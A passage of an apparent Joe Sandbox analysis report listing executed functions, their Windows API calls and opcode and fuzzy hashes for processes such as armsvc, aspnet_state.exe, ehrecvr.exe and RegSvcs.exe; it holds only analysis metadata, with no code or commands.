String ID:
API String ID: 1414292761-0
Opcode ID: 88223468654b92b4580a05f9d6489b15b5b397f69ec7b74a0b002d42dbff7e05
Instruction ID: c72f67cd80e698e1cfe61262e963a26b16e9254e9eefdbdf667581ff3747517a
Opcode Fuzzy Hash: 88223468654b92b4580a05f9d6489b15b5b397f69ec7b74a0b002d42dbff7e05
Instruction Fuzzy Hash: E951DD72A00217ABDF298F64CC42EBF77A9EB87758F194228F814D7190EBB4DD90D650

Function 00CA185B Relevance: 9.0, APIs: 6, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,00C9FDB7), ref: 00CA185F
_free.LIBCMT ref: 00CA1892
_free.LIBCMT ref: 00CA18BA
SetLastError.KERNEL32(00000000), ref: 00CA18C7
SetLastError.KERNEL32(00000000), ref: 00CA18D3
_abort.LIBCMT ref: 00CA18D9

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 8b7da23e0009a16c210b8ad128a89619a5ab991e34c421ddf56c78453388e84e
Instruction ID: 079b916d46f901a90f4aee4d01e9e864b5eb779beeadbb1dc6649b923942bf56
Opcode Fuzzy Hash: 8b7da23e0009a16c210b8ad128a89619a5ab991e34c421ddf56c78453388e84e
Instruction Fuzzy Hash: E1F0A4321406136BC35227B9AC0AF2E169A9BC377DF2E4238FD25D32D1EF698D43A111

Function 00CA3FC2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00CA3F73,00000003,?,00CA3F13,00000003,00CBDE80,0000000C,00CA403D,00000003,00000002), ref: 00CA3FE2
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,?,00CA3F73,00000003,?,00CA3F13,00000003,00CBDE80,0000000C,00CA403D,00000003,00000002), ref: 00CA3FF5
FreeLibrary.KERNEL32(00000000,?,?,?,00CA3F73,00000003,?,00CA3F13,00000003,00CBDE80,0000000C,00CA403D,00000003,00000002,00000000), ref: 00CA4018

Strings

mscoree.dll, xrefs: 00CA3FDB
CorExitProcess, xrefs: 00CA3FED

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 599b3c452b60ab7e358e9443f859c51fca926de7ee39e38dc05fa7357864896d
Instruction ID: 5e3736c6c59a717f07f3a09a1ff5098ad371a923de60e2db64a245f495c8940f
Opcode Fuzzy Hash: 599b3c452b60ab7e358e9443f859c51fca926de7ee39e38dc05fa7357864896d
Instruction Fuzzy Hash: 16F0C230A00219FBCB549F94DC09BAEBFB5EF8571AF000168F905A3150CBB48E40EB91

Function 00CA18DF Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000008,?,?,00CA15D8,00CA3CBB,?,00CA1D2A,?,?,00000000), ref: 00CA18E4
_free.LIBCMT ref: 00CA1919
_free.LIBCMT ref: 00CA1940
SetLastError.KERNEL32(00000000,?,00CA1D2A,?,?,00000000), ref: 00CA194D
SetLastError.KERNEL32(00000000,?,00CA1D2A,?,?,00000000), ref: 00CA1956

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 5c8b7a2f201d343e5107582b1d36105a0d0d6d343ae63ee6f06e01021356f820
Instruction ID: 5302302f8993b2bb6853c28f9add6df237335a6b42a4997e084a0898a679e4f3
Opcode Fuzzy Hash: 5c8b7a2f201d343e5107582b1d36105a0d0d6d343ae63ee6f06e01021356f820
Instruction Fuzzy Hash: A101F4362006136B93126A79AC99B3F165D9BC737CF290129FD25A3252FB668D06E121

Function 00CA3171 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00CA3189

Part of subcall function 00CA2096: HeapFree.KERNEL32(00000000,00000000), ref: 00CA20AC
Part of subcall function 00CA2096: GetLastError.KERNEL32(?,?,00CA3208,?,00000000,?,00000000,?,00CA322F,?,00000007,?,?,00CA2697,?,?), ref: 00CA20BE

_free.LIBCMT ref: 00CA319B
_free.LIBCMT ref: 00CA31AD
_free.LIBCMT ref: 00CA31BF
_free.LIBCMT ref: 00CA31D1

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: cb0cb1b3611336b0e8e0292b66d004c0faacfc2b43cdff58e97047100f0e9d1c
Instruction ID: 37a9c7350e2e88bee66a9a674bcbf44f4d2f07b27e7df79cc7d80c42f870c3cc
Opcode Fuzzy Hash: cb0cb1b3611336b0e8e0292b66d004c0faacfc2b43cdff58e97047100f0e9d1c
Instruction Fuzzy Hash: C3F09032600352EBC635EBA8F886E1E73D9BA023197640809F629D7601CB30FE80DA64

Function 00CA34FF Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000100,?,00000000,?,?,00000000), ref: 00CA354C
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00CA35D5
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00CA35E7
__freea.LIBCMT ref: 00CA35F0

Part of subcall function 00CA32FA: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 00CA332C

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: ac440274247209be9dbf546c53466aea9bf15212b8d76df127432c3308488f32
Instruction ID: b012f65de4407904d2d9b839d3e5e03795688636ed3ed3fad1f108fe1902221c
Opcode Fuzzy Hash: ac440274247209be9dbf546c53466aea9bf15212b8d76df127432c3308488f32
Instruction Fuzzy Hash: E531D072A0024BABDF259FA8DC55EAE7BA5EF42318F154129FC14D7290EB35CE50CB90

Function 00CA218B Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00CA15D8,00000000,00000000,?,00CA2132,00CA15D8,00000000,00000000,00000000,?,00CA2283,00000006,FlsSetValue), ref: 00CA21BD
GetLastError.KERNEL32(?,00CA2132,00CA15D8,00000000,00000000,00000000,?,00CA2283,00000006,FlsSetValue,00CB6FC4,FlsSetValue,00000000,00000364,?,00CA192D), ref: 00CA21C9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00CA2132,00CA15D8,00000000,00000000,00000000,?,00CA2283,00000006,FlsSetValue,00CB6FC4,FlsSetValue,00000000), ref: 00CA21D7

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 60a84c460a957ea638087b93482b032235dd8d7dd50a7e8bf86b6db8082f1634
Instruction ID: 843e5ee3cbd56b861693757cad038a9abf2ee5ab7b34670015cca1d8889c6120
Opcode Fuzzy Hash: 60a84c460a957ea638087b93482b032235dd8d7dd50a7e8bf86b6db8082f1634
Instruction Fuzzy Hash: 5A01D432641233ABC7314A6DEC44B6E7B98AB07BA8B200624FB25D3240C720DE01C6F0

Function 00C9FAF0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 211COMMON

Download Yara Rule

Strings

pow, xrefs: 00C9FBF5, 00C9FC12

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID:
String ID: pow
API String ID: 0-2276729525
Opcode ID: ffa4f7f906cfc2ebcf1547d8516fc59e7d4af5bac65c6666534243e5c6ce6018
Instruction ID: f2a5a3449ef91f3a797af336659483d1b80af8afc47269c2e0ca20d201670365
Opcode Fuzzy Hash: ffa4f7f906cfc2ebcf1547d8516fc59e7d4af5bac65c6666534243e5c6ce6018
Instruction Fuzzy Hash: E7516861A0810787CF257F14C9493AE77A4DB41754F288A7CE8F5C22A8EB358DD6AA42

Analysis Process: aspnet_state.exePID: 3464, Parent PID: 404COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	98.8%
Signature Coverage:	4.8%
Total number of Nodes:	168
Total number of Limit Nodes:	14

Executed Functions

Function 00C00080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 00C003E0

Memory Dump Source

Source File: 00000005.00000002.626162681.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_be0000_aspnet_state.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction ID: f2b5b16749fb512876895e7953a79f711c6015eb7d6537f872184e266a9f97a5
Opcode Fuzzy Hash: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction Fuzzy Hash: 35D11431418F098BC728EF59D8467EAB7E1FBA0310F2A461FD856C31A5DA74DA45CBC2

Function 00BE8070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.626162681.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_be0000_aspnet_state.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction ID: ff179ba60262540d9be02c347613a5476ae897cd28b09cc15084cae983d2bca7
Opcode Fuzzy Hash: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction Fuzzy Hash: 53611F3060CEC59FC7668B2B88943367BE0FB59350F2842DAE54ED31A2DF248C45A393

Function 00BE5B09 Relevance: 3.1, APIs: 2, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00BE5B1F

Memory Dump Source

Source File: 00000005.00000002.626162681.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_be0000_aspnet_state.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: a0f69c9b1698ddea4de65c8cb3cecdd9faf057787b2af505beb2c6b9f699a3c5
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: 90019E3050DFC68FDBB65A368DA87797BD0EB5432CF7501EBC487CA191DBA44900A722

Function 00BE5B87 Relevance: 3.0, APIs: 2, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00BE5B1F
CreateThread.KERNELBASE ref: 00BE5B90
CreateThread.KERNELBASE ref: 00BE5CDF

Memory Dump Source

Source File: 00000005.00000002.626162681.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_be0000_aspnet_state.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: bed7089bdf5dc7307b9b198a465fd89f7b5eec4802931fca09eaa554a082645c
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: 4DE0863061DB844FDB799F355D603193AE5EB88318F1501CEC44ADB1D1CB6909058792

Function 00BE5910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.626162681.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_be0000_aspnet_state.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: c4a61171fcd5586217010a025fb1f5cce2200586bbef303db716396029a55e34
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: D6F1283171CE8C8FC669A71D58413B9B3D2EB99314F5842EEE04AC32D7DE249D4AD782

Function 00BE5B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.626162681.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_be0000_aspnet_state.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: 0726b5032df4840f0d661e1d3923f3916baf89e7f52683e0e115ef070ace03e0
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: DF219F3020CFC58FCB7A9B2A88A8B7467E1EB5431CF7845E69447CF3A2DB648C449312

Function 00C13E60 Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL ref: 00C13EB5

Memory Dump Source

Source File: 00000005.00000002.626162681.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_be0000_aspnet_state.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 48969325ddbed1740ab2388b5c55419421134d64cd89f29aa3e672beb957074e
Instruction ID: f2f7ea10ccc2bcaa2a7d3218ad9e1745c06f90c71d764976200a7d6c8a44e301
Opcode Fuzzy Hash: 48969325ddbed1740ab2388b5c55419421134d64cd89f29aa3e672beb957074e
Instruction Fuzzy Hash: 09F09620310F4A4BEF5867BE48DE3B971C5EFAA305F8440365816C61A1EE65CAD4B311

Function 00BE599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00BE59D9

Memory Dump Source

Source File: 00000005.00000002.626162681.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_be0000_aspnet_state.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: 9eeeac7d179311b2a6cf1dad113e4cc1f2904e551d526711f9cabd6f4a7c4e0c
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: 9001D6B891DEC4CFD67A9B1B44852F966D2FB5432CF2855E6908AC7193DB344D00A742

Function 00BE8090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00BE8186

Memory Dump Source

Source File: 00000005.00000002.626162681.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_be0000_aspnet_state.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: e8e6c82fa0f845f7e6ba95331d8c92836a3b95b8b6c888b2c619d2618cd080a3
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: 3EC08C70128DC296523A028B2D0B1B02AD0CA0E351B0C00C68C0EA0220DF288E03019B

Function 00BE817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00BE8186

Memory Dump Source

Source File: 00000005.00000002.626162681.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_be0000_aspnet_state.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: c3d2c83e886e77f359ab5d5317ae5834e41f346f30a170b7b56c470bdc0daae8
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: 3AC092B0558EC987513A26CB2C0A1B239E4CA1F761F0D44E2ED1EBA361DF684D4342A3

Analysis Process: ehrecvr.exePID: 3724, Parent PID: 404COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	98.9%
Signature Coverage:	0%
Total number of Nodes:	176
Total number of Limit Nodes:	11

Executed Functions

Function 009E0080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 009E03E0

Memory Dump Source

Source File: 0000000B.00000002.432822304.00000000009C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9c0000_ehrecvr.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction ID: ec95e7cdd8d7e0a95c761201ec055c047e45628daafd586a80e724912cc8d181
Opcode Fuzzy Hash: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction Fuzzy Hash: B0D1463141CB498BC729EF59D8457EAB3E5FBE0310F184A1ED446C7164EAB8DE85CAC2

Function 009C8070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.432822304.00000000009C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9c0000_ehrecvr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction ID: f3a73a6af7cc68d0248fb496b95c6a467615829a58bfab99570bee1cb069996e
Opcode Fuzzy Hash: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction Fuzzy Hash: 12614330E1CA859FC765CB288818FB77BE8FB96390F580A5EE456C31A1CF285C468753

Function 009C5B09 Relevance: 4.6, APIs: 3, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 009C5B1F

Memory Dump Source

Source File: 0000000B.00000002.432822304.00000000009C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9c0000_ehrecvr.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: 524cd51aef9761c0f5cc6c3700a38539180b99c1d770c40625afa1f027ff08b7
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: A1010070D4DF468FEB5546208C18F396B94AB50320FA709AEC483CA0D2DB686DC0A713

Function 009C5B87 Relevance: 3.0, APIs: 2, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 009C5B1F
CreateThread.KERNELBASE ref: 009C5B90
CreateThread.KERNELBASE ref: 009C5CDF

Memory Dump Source

Source File: 0000000B.00000002.432822304.00000000009C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9c0000_ehrecvr.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: c9724368a40ec6057eea16b35df12eea7667577a361b7eaa6d02d9f700905f68
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: 4AE08630A0DF444FDB599B245C107197EE5EB88310F1606DEC44AD71D1CB692D454783

Function 009C5910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.432822304.00000000009C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9c0000_ehrecvr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: 1ee8db0bd270b9074c562db8b3f13a43fe2428ecca7809fdd8710fb116bd73f6
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: CFF12630B5CE888FC66A971D58417BA73D2EBD9310F59469FE04EC7396DD38AC468382

Function 009C5B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.432822304.00000000009C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9c0000_ehrecvr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: 6eec7c82190d8bc807cca6ddd5dfd47024d5050b3616f51e4386af488e078f17
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: 1D21A630D4CF458FDB6997188448F746AE9AB95310F5B09AE9087CF1D6CA28FCC49317

Function 009F3E60 Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL ref: 009F3EB5

Memory Dump Source

Source File: 0000000B.00000002.432822304.00000000009C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9c0000_ehrecvr.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 48969325ddbed1740ab2388b5c55419421134d64cd89f29aa3e672beb957074e
Instruction ID: 83c372e1bfc676ad77699418422b854520b735c5236b3837f6a3a43ac7fd8fd6
Opcode Fuzzy Hash: 48969325ddbed1740ab2388b5c55419421134d64cd89f29aa3e672beb957074e
Instruction Fuzzy Hash: 7CF0BB20315F0E4BEF5867BD48DE37971C9EFA8341F5484366A16C61A1DE5DC954C311

Function 009C599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 009C59D9

Memory Dump Source

Source File: 0000000B.00000002.432822304.00000000009C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9c0000_ehrecvr.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: 4e4f6d642463605317e3090a4e1ca8d13da3410b66ec0ed20c3f50acb430f2a4
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: 6801A261E0DE84CFD71A97194441B796555B794320FAB09DE908EC7192C878BDC09743

Function 009C5BE2 Relevance: 1.3, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 009C5C03

Memory Dump Source

Source File: 0000000B.00000002.432822304.00000000009C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9c0000_ehrecvr.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 5b5d7b071b63003723a190de38853bb16d482f491faa3db3b767200ea78fc1cb
Instruction ID: 330cbfeb937683e5af1b5a2cd464b8795391f34e583c1292571cbf32aa55b47d
Opcode Fuzzy Hash: 5b5d7b071b63003723a190de38853bb16d482f491faa3db3b767200ea78fc1cb
Instruction Fuzzy Hash: 3DE08C71D88F0A8FEB54A618C949F7526C49B24361327092D8803C6150E51CFFC66A13

Function 009C8090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 009C8186

Memory Dump Source

Source File: 0000000B.00000002.432822304.00000000009C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9c0000_ehrecvr.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: 2ca49f8ce2669748ea89b38f23475425f29d8422a2a931eac616850196ca8883
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: 3CC08C60D3C8069757380A480C0BFB326C88202350B0E080E8C0280220DD0C8E031397

Function 009C817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 009C8186

Memory Dump Source

Source File: 0000000B.00000002.432822304.00000000009C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9c0000_ehrecvr.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: 0df1794487327e911273cfb137bf8884e22a02f462c0d3c2db22396929e1946e
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: F9C092A0DAC5098756382A882C0AEB335DC4617760F0E581EED068A360DD5C4D4353A3

Analysis Process: RegSvcs.exePID: 3736, Parent PID: 3232COMMON

Executed Functions

Function 002A7F60 Relevance: 6.0, Strings: 3, Instructions: 2230COMMON

Download Yara Rule

Strings

K, xrefs: 002AA5DA
FK2, xrefs: 002A8CDC
FK2, xrefs: 002A8CAF

Memory Dump Source

